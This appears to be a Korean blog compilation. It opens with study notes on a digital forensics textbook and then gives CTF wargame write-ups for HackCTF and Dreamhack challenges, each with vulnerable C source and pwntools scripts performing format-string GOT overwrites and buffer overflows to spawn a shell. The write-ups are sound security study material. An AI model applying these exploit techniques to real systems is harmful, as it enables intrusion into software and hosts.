연결이 되고 나면, 마우스 버튼 몇 번의 클릭을 통해서 클로닝 과정이 시작되며, 완료시 성공/실패 여부를 알려준다. (소스와 클론의 해시 값이 일치하면 클로닝은 성공한 것이다.)

포렌식 이미지 형식

소스 하드 드라이브의 포렌식 이미지(forensic image)는 클로닝 과정의 최종 산출물이다.

클론은 몇 가지 다른 파일 형식으로 저장될 수 있으며, 파일의 확장자가 파일 형식을 판단하기 가장 쉬운 방법이다.

• EnCase(확장자 .E01)
• Raw dd(확장자 .001)
• AccessData Custom Content Image(확장자 .AD1)

사용되는 툴에 따라서 읽을 수 있는 이미지가 다르므로 해당 정보를 아는 것은 중요하다.

(섹터 손상, 손상된 하드 또는 고장 난 드라이브, 부트 섹터, 모터 문제는 클로닝을 복잡하게 만들 수 있다.)

5. "살아있는" 시스템과 "죽어있는" 시스템

전원이 꺼져 있는 경우와 켜져 있는 경우가 존재하는데, 켜져 있는 경우 포렌식을 할 때 고민이 되는 상황이 발생할 수 있다.

실행 중인 컴퓨터에서 작업을 하게 되면 많은 것이 변조될 수 있다. 그래서, 플러그를 뽑아 전원을 끄는 선택을 할 수 있다. 

하지만, 플러그를 뽑게 되면 발생하는 여러 문제가 존재한다. 그래서 고민되는 상황이라고 한 것이다.

• 플러그를 뽑는 경우 RAM에 있는 모든 증거는 파괴될 위협에 처한다.  
• 시스템이 켜져 있는 동안에는 시스템이나 파일이 암호화되지 않을 수 있지만, 꺼지는 경우 암호화 상태로 돌아가 버릴 수 있으며, 잠재적으로 증거를 절대 찾지 못할 수 있다.
• 갑자기 전원 공급이 중단되는 경우 데이터가 손상되어 읽지 못하게 될 수 있다.
• 일부 증거는 컴퓨터가 제대로 시스템 종료되기 전까지 드라이브에 기록되지 않는 경우가 있다.

라이브 포렌식의 원칙

현장에 도착했을 때 작동 중인 컴퓨터를 보면 두 가지 질문을 해보고 그에 따라 라이브 포렌식을 할 것인지 결정할 수 있다.

질문1: 라이브 포렌식을 통해서 잠재적 증거를 복원할만한 가치가 있는가?

-> Ex.악성코드와 관련된 사건은 RAM에 있는 데이터가 핵심적이지만, 아동 포르노를 소지하고 있는 것과 같은 경우에는 RAM은 중요하지 않다. 

질문2: 필요한 자원을 사용할 수 있는가?

-> Ex. 메모리에 있는 증거를 성공적으로 수집하기 위해서는 특수 툴이 있어야 하며 교육을 받아야 한다. 이 조건이 충족되지 않는다면, 그냥 플러그를 뽑는 것이 최선의 방법일 것이다.

※라이브 포렌식을 할 때에는 최대한 "침입성"이 적은 방법을 선택하는 것이 좋다.

라이브 포렌식 실시 및 문서화

라이브 포렌식을 한 번 시작하면 과정이 완료되기 전에는 방해를 받지 않고 작업해야 한다.

따라서, 시작하기 전에 보고서 형식, 펜, 메모리 데이터 수집 툴 등 필요한 모든 것을 준비해야 한다.

더불어, 컴퓨터에서 하는 모든 작업은 기록해둬야 한다.

컴퓨터 화면이 보이지 않는 경우, 화면을 보이게 하기 위해서 한 모든 행동들을 기록해여 함.

화면이 보이는 경우, 컴퓨터의 날짜와 시간을 가장 먼저 확인하고 어떤 프로세스가 실행 중인지 실행 중인지 기록해야 한다.

검증된 메모리 캡쳐 툴을 사용하여 RAM에 있는 휘발성 증거를 수집하고, 컴퓨터를 종료한다.

6. 해싱

앞서 클론한 드라이브가 증거 드라이브(소스 드라이브)를 완벽히 복사한 것인지 확인하는 방법으로 해시 값을 얘기했었다. (해시 값을 통해 제대로 클로닝 되었는지 확인할 수 있다.)

일반적으로 해시 값은 "디지털 지문", "디지털 DNA"라고 불린다.

해시 값(함수)은 암호화와 증거의 무결성을 증명하는 것을 포함하여 다양한 용도로 사용되는데, 하드 드라이브를 약간만 수정하여도, 완전히 다른 해시 값이 나오게 되어서 증거를 조작하면 바로 탐지할 수 있다.

해시 알고리즘의 종류

많은 종류의 해시 알고리즘이 있지만, 디지털 포렌식에서 가장 일반적으로 사용되는 해시 함수는 MD5(Message Digest 5)와 SHA(Secure Hashing Algorithm) 1 또는 2 이다.

해시의 용도

• 해시 값은 디지털 포렌식 과정 전반에서 사용할 수 있다. 
• 클로닝 과정 후에 클론된 것이 정확한 복사본인지 확인할 때 사용되며, 무결성을 확인할 때도 사용된다.
• 조사관이 포렌식 이미지를 교환하는 경우, 해시 값을 이미지와 함께 전송하여 원본과 대조할 수 있다.

수사 전반에 걸쳐 생성되고 기록된 모든 해시 값은 최종 보고서에 포함되어야 하며, 디지털 증거의 무결성을 증명하는 데 핵심적이다.

7. 최종 보고서

분석 최종 단계에서 조사관은 작업 내용, 발견한 내용, 결론 등에 대해 자세하게 최종 보고서를 작성해야 하는데, 전문 용어와 코드로 채워져 있는 경우 판사, 검사와 같은 일반인들이 이해하기 어려워, 법정에서 채택되지 않을 수 있다.

Encase 및 FTK 같은 주요 포렌식 툴들에는 강력한 보고서 작성 기능이 있으나, 일반인들이 이해하기 어려워서 제출하기에 적합하지 않다. (물론, 최종 보고서에 포함은 한다.)

마지막으로

최종 보고서에는 툴이 작성한 표준 보고서보다 훨씬 많은 내용이 포함되어야 하는데, 그러한 내용 중 하나로 조사관이 실제로 한 행동에 대해 모두 설명하는 것도 포함된다. 

책 소개

제목: 이제 시작이야 디지털 포렌식 

내용: 디지털 포렌식의 입문자들을 위한 책으로 포렌식의 기초를 다루고 있다. (비전공자들도 쉽게 보고 이해할 수 있음.)

http://www.yes24.com/Product/Goods/7526115

저번 글에 이어서 3장 내용을 정리하는 시간을 갖도록 하겠습니다.

3장 랩과 툴

서론

3장에서는 서로 다른 종류의 랩의 구성과 포렌식에서 사용되는 하드웨어와 소프트웨어에 대해서 살펴본다.

1. 포렌식 랩

가상 랩

오늘날의 기술은 조사관과 자료 처리소가 지리적으로 다른 위치에 있어도 되는 가상 랩을 운영할 수 있도록 해준다. 

특징:

• 비용절감.
• 많은 자원에 접근 가능(툴과 저장장치).
• 자원의 불필요한 감솜 (자원 절약).
• 역할 기반의 접근 제어가 가능.

고려 사항

1) 보안: 시스템 보안은 법정에서 요구하는 증거의 무결성의 수준을 유지할 수 있어야 함. (증거 채택 용도)

2) 성능: 제대로 운용되기 위해서는 연결 속도가 빠르고 안정적이어야 함.

3) 비용: 초기 비용이 많이 드는 경우, 많은 기관들이 비용을 감당하지 못할 수 있음. 

랩 보안

랩 보안은 법정에서 사용될 증거의 무결성과 직결되기 때문에 매우 중요하다.

즉, 엄격한 보안은 랩을 거쳐가는 디지털 증거의 무결성을 유지하는 데 핵심적인 역할을 한다.

일반적으로 신원이 보장되고, 허가된 사람인 경우만 조사 시설과 증거 저장장치 같은 핵심 구역에 접근이 가능함.

비인가 접근 이외에도 화재, 홍수 등의 자연재해도 고려해야 할 사항에 속함.

랩 전반에 걸쳐 연계보관성이 적용되는데, 랩에서 증거를 조사하고 법정으로 이동시킬 때 반드시 반출입 문서를 작성하며, 증거를 증거실이나 저장소에서 반출입 할 때마다 로그를 기록해야 한다. 

(종이, 펜, 스캐너, 바코드 등의 여러 방법을 사용할 수 있음.)

네트워크 접근 또한, 고려되어야 하는데 조사에 사용되는 컴퓨터는 인터넷에 연결되어 있으면 안되고 증거 드라이브를 조사하기 이전에 검사하여 악성코드 등을 예방해야 한다.

증거 저장

증거를 사용하고 있지 않을 때에는 반드시 접근이 제한적이고 보안적으로 안전한 장소에 저장되어야 한다.

데이터 세이프(data safe) : 도난과 화재로부터 디지털 증거를 보호하기 위해 특별히 설계됨.

증거를 저장한 곳은 항상 잠금 장치를 해둬야 하며, 로그나 감사 기록을 유지하여 반출입 현황을 유지해야 한다.

비밀번호와 키 카드 등의 다양한 방법으로 접근을 통제함.

2. 정책과 절차

랩에서의 증거 처리, 조사 실시, 기록 유지, 시설의 보안 유지 등을 규격화할 필요가 있으며, 이러한 부분은 정책과 표준작업 절차서로 통제되어야 한다.

표준작업 절차서는 포렌식 조사가 어떻게 수행되어야 하는지 자세하게 명시한 문서로 너무 광범위하거나, 너무 상세해서는 안된다.

정책과 표준작업 절차서를 준수하지 않는 경우 법정에서 신뢰성의 문제가 발생할 수 있음.

3. 품질보증

법과학에 있어서 품질은 항상 최우선이 되어야 하며, 모든 랩에는 품질보증 프로그램이 있어야 한다.

품질보증 프로그램은 보고서의 2중 검토(기술 검토와 행정적 검토), 증거 처리, 사건 문서화, 랩 인력 교육 등 다양한 부분을 다룬다.

툴 검증

툴은 하드웨어가 되었든 소프트웨어가 되었든 설계사항대로 작동해야 하며, 모든 툴은 실제 사건에서 사용되기 전에 검증되어야 한다. 

검증 과정은 툴이 제대로 작동하고 있고, 신뢰할 수 있으며 정확한 결과가 나타난다는 것을 명확하게 증명할 수 있어야 하며 문서화를 해야 한다.

문서화

포렌식 업계에 있어서 "문서로 남겨두지 않은 것은 실제로 있었던 일이 아니다."라는 격언이 매우 중요할 정도로 완전하고 정확한 문서가 매우 중요하다.

서식:

• 사전에 출력한 서식을 현장과 랩에서 많이 사용함. 
• 모든 필요한 정보가 동일한 형식으로 기록될 수 있게 함.
• 증거를 상세히 설명할 때 사용됨.
• 연계보관성을 기록할 때 사용됨.
• 조사를 요청할 때 사용됨.

조사관의 노트:

모든 조사관의 행동과 관찰사항이 해당 날짜와 함께 기록되며, 충분히 상세하게 기록되어서 다른 조사관이 조사할 때 프로세스를 반복할 수 있어야 함.

구성

• 검찰관과 수사관을 포함하여 핵심 인물과의 토의
• 특이 사항 및 관련 조치
• 운영체제, 버전 및 패치 상태
• 비밀번호
• 랩이나 법 집행 인력이 시스템을 변경한 사항

조사관의 최종 보고서:

조사관의 최종 보고서는 공식 문서로서 수사가 거의 완료될 때 검사, 수사관, 반대편 변호사 등에게 전달됨.

구성

• 보고 기관
• 사건 식별 번호/제출 번호
• 제출하는 사람과 사건 수사관의 신원정보
• 받은 날짜 및 보고 날짜
• 시리얼 번호, 제조사, 모델 등 증거를 식별할 수 있는 세부 정보
• 조사관의 신원정보
• 조사 방법
• 결과와 결론

일반인이 해당 보고서를 읽을 확률이 높으므로, 기술적 배경지식이 없는 사람들이 보고서를 읽고 이해할 수 있도록 전문 용어와 약어의 사용을 자제해야 함.

4. 디지털 포렌식 툴

디지털 포렌식 툴은 포렌식 업무를 효율적이게 만들 수 있으며, 툴이 없는 경우 불가능한 작업을 할 수 있도록 해준다. 툴의 형태는 하드웨어나 소프트웨어가 될 수도 있다.

(여러 개의 툴을 구비하여 두고 있는 것은 도움이 됨.)

툴을 선택할 때는 신뢰할 수 있는 검증이 된 툴을 선택하여 사용하는 것이 바람직함.

(※툴의 검증 법정에서 증거 분석의 유효성과 직결되기 때문에 매우 중요※)

모든 툴은 실제 사건 업무에 사용되기 전에 반드시 검증해야 하며, 수정되었거나 업데이트되었을 때도 다시 검증해야 한다. 

하드웨어

디지털 포렌식을 위해 설계 및 제작된 하드웨어 툴들이 많이 존재하며, 크게 의존한다.

종류

• 클로닝 장비
• 휴대폰 수집 장비
• 쓰기 차단 기기
• 휴대용 저장 장치
• 어댑터
• 케이블

그 중에서도 컴퓨터는 중추적인 역할로 최고 사양을 사용해야 한다. 포렌식 작업은 고성능 컴퓨터도 힘들게 만들며, 저성능 컴퓨터로는 매우 버겁다. 

다른 장비로는 조사관이 현장에서 디지털 증거를 수집하는 데 필요한 모든 장비가 탑재되어 있는 키트가 있다. 구성에는 펜, 디지털 카메라, 포렌식적으로 초기화된 매체, 증거 봉투, 증거 테이프, 보고서 형식, 유성 펜 등이 있다.

소프트웨어

다양한 디지털 포렌식 소프트웨어 제품이 존재하며, 일부는 다양한 기능이 있는 다용도 툴이고 다른 툴은 제한된 목적의 툴에 해당한다.

소프트웨어를 선택할 때는 오픈소스, 상업용 두 가지 선택권이 존재하며, 선택에 따라 장점 단점이 존재한다. 선택시 고려사항으로는 비용, 기능, 능력, 지원 등이 있다.

오픈소스 툴로는 SIFT 또는 the SANS Investigative Forensic Toolkit이 가장 유명한데, 우분투 리눅스를 기반으로 만들어졌으며 파일 카빙, 파일 시스템, 기록, 휴지통, 네트워크 트래픽, 휘발성 메모리 등을 분석할 수 있다.

상업용 툴로는 AccessData 사의 Forensic Toolkit(FTK)와 Guidance Software의 EnCase가 있다. 

여러 가지 작업을 할 수 있는데, 검색, 이메일 분석, 분류, 보고서 작성, 패스워드 크래킹 등이 포함된다.

또한, 여러 정보를 검색할 수 있는데, 이메일 주소, 이름, 전화번호, 키워드, 웹 주소, 파일 종류, 날짜 범위 등이 포함된다.

툴 하나 가지고 모든 작업을 할 수 없으며, 제한 사항이 존재하기 때문에 여러 툴을 구비하고 있는 것이 바람직하다.

더불어 GUI 기반의 포렌식 툴은 단 한 번의 클릭으로 조사를 실시 할 수 있어 효율적이지만, 너무 의존하게 될 수 있어 독이 될 수 있다. 따라서, 툴의 내부에서 실제로 어떻게 작동하고 있는지 이해해야만 하며, 흔적이 최초에 어떻게 생성되는지도 잘 알고 있어야 한다.

5. 인가

인가는 포렌식 랩의 업무방식을 보증하는 것으로 미국범죄감정과학연구소 소장 협회의 연구소 인증보드가( The American Society of Crime Laboratory Directors/Laboratory Accreditation Board : ASCLD/LAB) 세계적으로 인정받는 선두 기관이다. 이름에 American Society라는 단어가 들어가지만 1982년부터 미국과 다른 국가의 랩을 인가하기 시작함. 

해당 기관의 목적

• 형사법제도에 제공하는 랩 서비스의 품질을 개선하기 위함.
• 랩의 성과의 수준을 평가하고 운영을 강화하기 위해 랩이 사용할 수 있는 기준을 개발하고 유지함.
• 독립적이고 공정하며 객관적인 시스템을 제공하기 위함.
• 일반 국민과 사용자에게 수립된 표준을 충족하는 랩을 식별하는 수단을 제공하기 위함.

ASCLD/LAB은법과학계의 품질인증 기관이라고 보면 되며, 레거시 프로그램과 국제 프로그램으로 두 가지 인가 프로그램이 있다.

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

https://ctf.j0n9hyun.xyz/

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

문제 이름은 Basic_FSB이다.

문제를 보면 다음과 같다.

제목에서 FSB와 관련된 문제임을 알 수 있다.

해당 실행 파일을 다운 받아서 IDA Pro로 분석해보자.

코드 분석

버퍼를 클리어하는 부분과 vul()함수를 실행하는 부분이 main 코드의 전부다.

vul 함수를 살펴보자.

s에 1024바이트 만큼 입력을 받고

snprintf로 0x400 만큼 s의 값을 format에 출력한다. (옮긴다.)

여기서 snprintf는 sprintf, printf 와 마찬가지로 FSB가 발생할 수 있다.

더불어

system 함수를 실행시키는 flag 함수가 숨겨져 있는 것을 발견했다.

flag 함수 주소 = 0x80485B4

FSB가 발생할 수 있고, flag 함수의 존재를 알게 되었으니 어떻게 공략할지 감이 잡힌다.

페이로드 구상

s를 format에 snprintf를 이용해서 옮길 때, FSB를 발생시켜서

다음에 실행하는 printf 함수의 printf_got 값을 flag 함수 주소로 덮으면,

printf 함수 대신에 flag 함수가 실행될 것이다.

필요한 정보는 flag 함수 주소와 printf_got 주소 그리고 몇 번째 서식 문자에서 입력 값을 참조하는지 이다.

IDA Pro를 이용해서 flag 함수 주소와 printf_got 주소를 알아낼 수 있었고,

(flag: 0x80485B4, printf_got: 0x804A00C)

해당 프로그램을 실행시켜 aaaa.%x.%x.%x를 입력해 몇 번째에서 입력 값을 참조하는지 알 수 있었다.

2번째에서 참조함!

이 정보들을 기반으로 payload를 작성하면 다음과 같다.

payload 작성

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3002)

printf_got = 0x804A00C

payload = p32(printf_got + 2) + p32(printf_got) + "%2044c%2$hnn" + "%32176c%3$hnn"

p.sendline(payload)

p.interactive()

사이즈가 크면, 처리하는데 오래 걸릴 수 있으므로 2바이트로 나눠서 flag 주소를 전달하게끔 작성했다.

printf_got + 2에는 2바이트로 2052 즉, 0x0804를 전달하고

printf_got에는 34228 즉, 0x85B4를 전달했다.

flag 주소가 0x80485B4인데 거꾸로 전달한 이유는 리틀엔디안 방식이기 때문이다.

해당 payload를 실행시키면 다음과 같이 플래그 값을 얻을 수 있다.

이렇게 문제는 해결된다~!!!

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

https://ctf.j0n9hyun.xyz/

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

문제 이름은 Basic_BOF #1 이다.

Basic_BOF #2 문제 풀이를 먼저 올려서 늦은 감이 있지만, 풀어보도록 하겠다.

문제를 보면 다음과 같다.

BOF에 관한 문제인 것을 알 수 있다.

해당 실행 파일을 다운 받아서 IDA Pro로 분석해보자.

코드 분석

line 6: v5에 67305985를 대입한다.

line 7: s에 45바이트 만큼 입력 받는다.

line 8~9: s를 출력하고 v5 주소 값을 출력한다.

line 10~11: v5가 67305985가 아니고, -559038737이 아니면 잘하고 있다고 출력!

line 12~17: v5가 -559038737이면 맞고, system 함수 실행

즉, v5 값을 -559038737로 바꿔야 한다.

스택 구조를 보면

s

주소: (0x34)

---------------

v5

주소: (0x0C)

s와 v5간의 격차가 40바이트인데, s는 45바이트를 입력 받는다. 즉, BOF 발생 가능

이를 바탕으로 페이로드를 작성하면, 다음과 같다.

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3000)

v5 = 0xDEADBEEF

payload = "a"*40 + p32(v5)

p.sendline(payload)

p.interactive()

-559038737는 0xDEADBEEF 로 변환될 수 있다.

40바이트는 더미로 채워주고 이어서, 0xDEADBEEF 를 채워 v5 값을 바꿔주는 코드이다.

해당 payload를 실행시킨 결과 다음과 같이 플래그 값을 얻을 수 있다.

이렇게 문제가 해결된다~!!!

매우 기초적인 문제였다.

해당 문제는 드림핵에 있는 '단계별로 도전하기' 파트의 문제입니다.

https://dreamhack.io/wargame/challenges/5/

드디어 basic_exploitation 시리즈의 마지막인 basic_exploitation_003문제이다.

이번 문제도 마찬가지로 fsb를 요구하는 문제이다.

우선 문제를 보자.

Nx-bit가 적용되었고, RELRO는 partial인 것을 알 수 있다.

해당 파일을 다운 받아서 소스코드를 확인해보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

코드 분석

malloc으로 0x80만큼 heap_buf에 할당하고 0x80만큼 heap_buf에 입력받는다.

heap_buf에 있는 내용을 stack_buf에 sprintf로 출력한다.

마지막으로 stack_buf를 출력하고 종료된다.

이번 문제도 002문제와 마찬가지로 get_shell 함수가 존재하며, sprintf에 fsb가 발생할 수 있다.

그런데...!

곰곰히 생각해보면, sprintf에서 fsb가 발생하는 것과 동시에 snprintf 처럼 사이즈를 정한 것이 아니기 때문에 bof가 발생할 수 있다.

다시 말해서 heap_buf에서 stack_buf로 출력할 때, %1000c가 담겨 있다면

heap_buf에는 "%1000c"로 6자리 문자로 인식되지만,

stack_buf에는 1000바이트가 입력되는 것이다.

이를 이용해서 ret부분까지 %~~c로 채우고, ret에 get_shell 주소를 입력하면 될 것 같다!!!

IDA Pro로 좀 더 자세히 알아보자.

printf_got 주소는 0x804A010이며, get_shell 주소는 0x8048669 임을 알 수 있다.

그리고, stack_buf는 ebp-0x98임을 알 수 있었다.

이를 바탕으로 payload를 작성하면 다음과 같다.

from pwn import*

p = remote("host1.dreamhack.games", 22440)

get_shell = 0x8048669

payload = "%156c" + p32(get_shell)


p.sendline(payload)

p.interactive()

stack_buf가 ebp로부터 0x98 즉, 152바이트 떨어져 있으므로

|stack_buf| ~~~~~~~ |sfp| ret 구조를 감안해서

152+4인 156바이트 만큼 더미로 채웠다.

그리고 ret 부분에는 get_shell 함수의 주소를 넣어 get_shell 함수를 실행시키게끔 만든 코드이다. 

해당 payload를 실행시키면 다음과 같이 플래그를 얻을 수 있다. 

이번 문제는 FSB와 BOF를 합친 문제로 두 개념을 정확히 알고 활용할 수 있어야 풀 수 있는 문제였다.

해당 문제는 드림핵에 있는 '단계별로 도전하기' 파트의 문제입니다.

https://dreamhack.io/wargame/challenges/4/

문제 풀이에 앞서 간단한 개념 설명

해당 문제는 FSB에 대한 개념을 요구하는 문제입니다.

간단하게 알아봅시다.

FSB는 Format String Bug의 약자로 서식 문자를 사용하는 함수에서 발생합니다.

예를 들어, C언어에서 사용하는 printf() 함수는 서식 문자를 사용하는데요.

정상적이라면 printf("%s", &string); 와 같습니다.

그런데, printf(&string); 와 같이 개발자의 실수로 인해 서식 문자가 들어갔을 때 버그가 발생합니다.

즉, printf에 문자열로 "%s, %p, %d, %n" 등이 들어간다면

문자가 아닌 서식 문자로 취급하게 됩니다.

그리고 이는 악용할 수 있는 치명적인 버그가 됩니다.

더 자세한 내용이 궁금하시다면, 다음 사이트를 참조하시길 바랍니다.

https://shayete.tistory.com/entry/5-Format-String-Attack-FSB

자.. 그럼

basic_exploitation_001에 이어서 basic_exploitation_002 문제 풀이를 시작하겠습니다.

Nx-bit가 적용되어 있고, RELRO는 partial인 것을 확인할 수 있다.

우선, 해당 프로그램을 다운 받아서 소스코드를 살펴봤다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

코드 분석

다른 basic_exploitation 시리즈 문제처럼 initialize 함수를 통해서 제한시간을 두고 있다.

고맙게도 get_shell 함수가 존재한다는 사실을 알 수 있다.

buf에 0x80만큼 입력 받고, printf로 출력하는데..자세히 보면, 

printf("%s", &buf); 이어야 하는데, printf(buf); 이므로 FSB가 발생할 수 있는 상황이다.

0x80만 받기 때문에 BOF는 불가능해 보인다.

어떻게 해야 할 지 감이 온다!

buf에 서식 문자를 넣어서 FSB를 발생시켜, get_shell 함수를 실행시키게끔 만들어주면 될 것 같다.

여기서 get_shell을 실행시키기 위해서는 exit(0)을 이용해야 한다.

즉, exit이 실행될 때 exit 대신 get_shell이 실행되게 만들어줘야 한다.

그렇게 하기 위해서 exit_got에 get_shell 함수 주소로 Overwrite를 해야 한다.

그래서 우리에게 필요한 것은 exit_got Overwrite을 위해서 exit_got 주소와 get_shell 주소이다.

IDA Pro에서 주소를 찾아보니 다음과 같다.

해당 주소들을 알았으니 페이로드를 작성해보자.

작성하기 전에 입력 값을 몇 번째 서식 문자열에서 참조하는 확인해봐야 한다.

aaaa.%x.%x.%x로 입력했을 때, 입력하고 바로 첫 번째 서식 문자에서 참조되는 것을 알 수 있다.

다시 말해서 첫 번째 %x에서 aaaa를 바로 인자로 받는 것을 알 수 있다.

이를 바탕으로 작성한 payload는 다음과 같다.

from pwn import*

p = remote("host1.dreamhack.games", 15758)

exit = 0x804a024

payload = p32(exit+2) + p32(exit) + "%2044c%1$hn%32261c%2$hn"

p.send(payload)

p.interactive()

페이로드 구조는     |exit_got + 2|   +  |exit_got|  + "%2044c%1$hn" + "%32261c%2$hn" 이다.

부가적인 설명으로 exit_got에 get_shell 주소를 %n으로 한 번에 넘겨주기에는 0x8048609 = 134,514,185 으로 너무 값이 크다.

그래서 2바이트씩 잘라서 exit_got에는 0x8609를 exit_got +2 에는 0x804를 넘겨 주었다.

이 때, 주소를 적느라 8바이트가 사용되었으므로 %2052c(2052 = 0x804)가 아닌 %2044c(0x804 - 0x8)가 사용된다.

마찬가지로 앞에서 2052바이트 사용되므로 0x8609 - 0x804(2052) = 32261 바이트인 %32261c가 사용된다.

2바이트를 넘기므로 %hn을 사용했고 %1$hn은 |exit_got +2| 만(처음 2바이트)을 인자로 받겠다는 의미이다.

즉, exit_got에는 get_shell 함수 주소가 들어가게 되고, 마지막에 exit(0)이 실행되면 exit 대신에 get_shell 함수가 실행된다. 

해당 페이로드를 실행시키면 다음과 같이 출력되면서 권한을 얻게 된다.